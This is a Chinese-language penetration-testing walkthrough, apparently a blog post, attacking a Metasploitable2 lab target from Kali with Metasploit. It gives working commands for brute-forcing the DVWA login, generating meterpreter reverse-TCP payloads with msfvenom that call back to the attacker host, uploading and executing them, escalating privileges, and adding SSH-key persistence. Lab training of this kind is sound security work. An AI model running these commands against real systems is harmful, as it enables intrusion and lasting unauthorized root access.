靶机Metasploitable2:192.168.11.105
攻击机kail:192.168.11.106
一、创建工作空间
显示数据库未连接:
![](https://i-blog.csdnimg.cn/blog_migrate/c767d45d9d4ff5dce096d6c6c3e325df.png)
使用
msfdb init
对数据进行初始化:
![](https://i-blog.csdnimg.cn/blog_migrate/cae68cb256eb8df9119a6332636301ee.png)
db_status
显示数据库已连接。
使用命令
workspace -a 192.168.11.105
创建目标工作空间。
![](https://i-blog.csdnimg.cn/blog_migrate/c85a78000dc4dbf4801d3d54479a41db.png)
二、信息搜集
在msf中使用db_nmap 调用nmap对目标进行扫描:
![](https://i-blog.csdnimg.cn/blog_migrate/626cac0d1ef564a41677ebadb295fb50.png)
保存在数据库中,
使用
services
查看保存结果:
![](https://i-blog.csdnimg.cn/blog_migrate/773d9e81cb0856d52a07cc7fe088ecb9.png)
对于http端口,使用http_version搜索相关版本信息
使用命令
search http_version
查找相关信息:
![](https://i-blog.csdnimg.cn/blog_migrate/4ab5b93634cf9e890989857a310511ac.png)
使用
use
进入模块,
set
配置,
run
运行:
![](https://i-blog.csdnimg.cn/blog_migrate/27deb83c5273edd6107f3f6e4e8663c8.png)
由结果可知,是PHP应用。
通过http运行的web程序进行渗透测试;对web程序,使用
dir_scanner模块对目录进行扫描。
![](https://i-blog.csdnimg.cn/blog_migrate/48f978044bccb0baaf303cc39800d391.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b49ea6b5c09fb03a3c340645c2a7582e.png)
破解DVWA的用户密码:
nmap -p80 --script http-form-brute --script-args http-form-brute.path=/dvwa/login.php 192.168.11.105 -d
![](https://i-blog.csdnimg.cn/blog_migrate/7762ebf2bb8ef6c9532f21bc94067b23.png)
得到用户密码:
admin/password
基于dvwa文件上传漏洞
http://192.168.11.105/dvwa/vulnerabilities/upload/
![](https://i-blog.csdnimg.cn/blog_migrate/5eafa2b778d03b71ea9263cc9f4adc7a.png)
使用命令:
msfvenom -l payload | grep php | grep meterpreter
筛选php后渗透模块的payload.
![](https://i-blog.csdnimg.cn/blog_migrate/1c413d03552dcc764c79b4c6b9c4c581.png)
选择php/meterpreter_reverse_tcp模块,使用命令:
msfvenom -p
php/meterpreter_reverse_tcp
lost=192.168.11.106 lport=4445 -o /home/shell.php指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成shell.php文件
![](https://i-blog.csdnimg.cn/blog_migrate/f1853a7e7748df24391ece799d85d39b.png)
上传shell.php文件:
![](https://i-blog.csdnimg.cn/blog_migrate/11b672477dd9f0d2b761955552c3da7e.png)
报错: Your image was not uploaded,并不是如下图期望的结果:
![](https://i-blog.csdnimg.cn/blog_migrate/ea6e08299db432deb5c44bb672fa720d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f7819423e805b326ceed906d8c1b8f9b.png)
三、打开msf设置监听
使用命令
use exploit/multi/handler
配置监听模块:
set payload php/meterpreter_reverse_tcp
(此处的payload一定要和上方生成的payload的是同一个模块)
set lhost 192.168.11.106
设置监听的ip
set lport 4445
设置监听端口
![](https://i-blog.csdnimg.cn/blog_migrate/1e7fef437882146b2915400c8ecd7449.png)
![](https://i-blog.csdnimg.cn/blog_migrate/66b570979bedfd75b6ebaddfa1154e1f.png)
由于生成的会话不稳定(会话被中断,执行run重新访问上传的shell.php即可),且
php meterpreter 不具有meterpreter完整功能,因此可以继续上传elf的meterpreter获取更多操作功能。
使用命令
msfvenom -l payload | grep linux | grep meterpreter
筛选Linux后渗透测试payload:
![](https://i-blog.csdnimg.cn/blog_migrate/71545b5269ad1a8e153a8b9320c5fcc5.png)
使用命令:
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.11.106 lport=4443 -f elf -o /home/shell.elf
生成payload:
![](https://i-blog.csdnimg.cn/blog_migrate/fd68047fcf2207fb283eb81b04391c3d.png)
使用刚才通过的上传php获得的meterpreter,上传生成的shell.elf
upload /home/shell.elf
上传成功:
![](https://i-blog.csdnimg.cn/blog_migrate/8affdff4129be2eb7eaa2190f25fc9a8.png)
使用
dir
查看已经成功上传shell.elf,
且具备执行权限(若文件不具备执行权限则使用命令对文件添加权限)
![](https://i-blog.csdnimg.cn/blog_migrate/f3fe54920c21f6ae3dc4da8a68068e4b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3fc9ebc5929ebd4a24a8240755587081.png)
再打开一个msf监听,监听上传的exe会话:
set payload linux/x86/meterpreter_reverse_tcp
set lhost 192.168.11.106
set lport 4443
![](https://i-blog.csdnimg.cn/blog_migrate/f8d90cf72c25eb8f855a1dbe9844c141.png)
在通过的上传php获得的meterpreter,使用命令
execute -f shell.elf
执行上传的exe:
![](https://i-blog.csdnimg.cn/blog_migrate/f50103103f4a0f961f20d38bd6d67a3b.png)
可在新打开的msf中建立相关的会话:
![](https://i-blog.csdnimg.cn/blog_migrate/bc399c6cc92cee017fed508c4b40e7e9.png)
此时获得权限认为web服务层面的权限
使用
getuid
查看当前会话权限,非root权限,需要提权:获取system权限
输入
bg
进行会话保存:
![](https://i-blog.csdnimg.cn/blog_migrate/16d96705282fd7d7a887aa1005419622.png)
使用命令
use post/multi/recon/local_exploit_suggester
配置相关参数检测是否存在
提权
模块:
![](https://i-blog.csdnimg.cn/blog_migrate/7e997436e989778efba2dfefdee587d3.png)
使用提示的模块进行提权:获得system权限
![](https://i-blog.csdnimg.cn/blog_migrate/245a371dbbd3e51ca15cc39205f7129d.png)
维持权限
使用 post/linux/manage目录下得sshkey_persistence模块实现对Linux服务的持续控制
use post/linux/manage/sshkey_persistence
show options
set session 4
(使用具有root权限的session)
run
执行后会生成私钥文件:
![](https://i-blog.csdnimg.cn/blog_migrate/eb71a13f45fd0fee8d3a81ff177b9b9e.png)
直接使用命令
ssh
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
root@[目标ip] -i [私钥文件路径]
直接登录目标机器:若报错请参考
Solution to openssh-8.8-p1 update: no matching host key type found. Their offer: ssh-rsa :: /dev/ttyS3 — 回首向来萧瑟处 也无荒野也无灯
![](https://i-blog.csdnimg.cn/blog_migrate/236d61d459233347192f562938874c9e.png)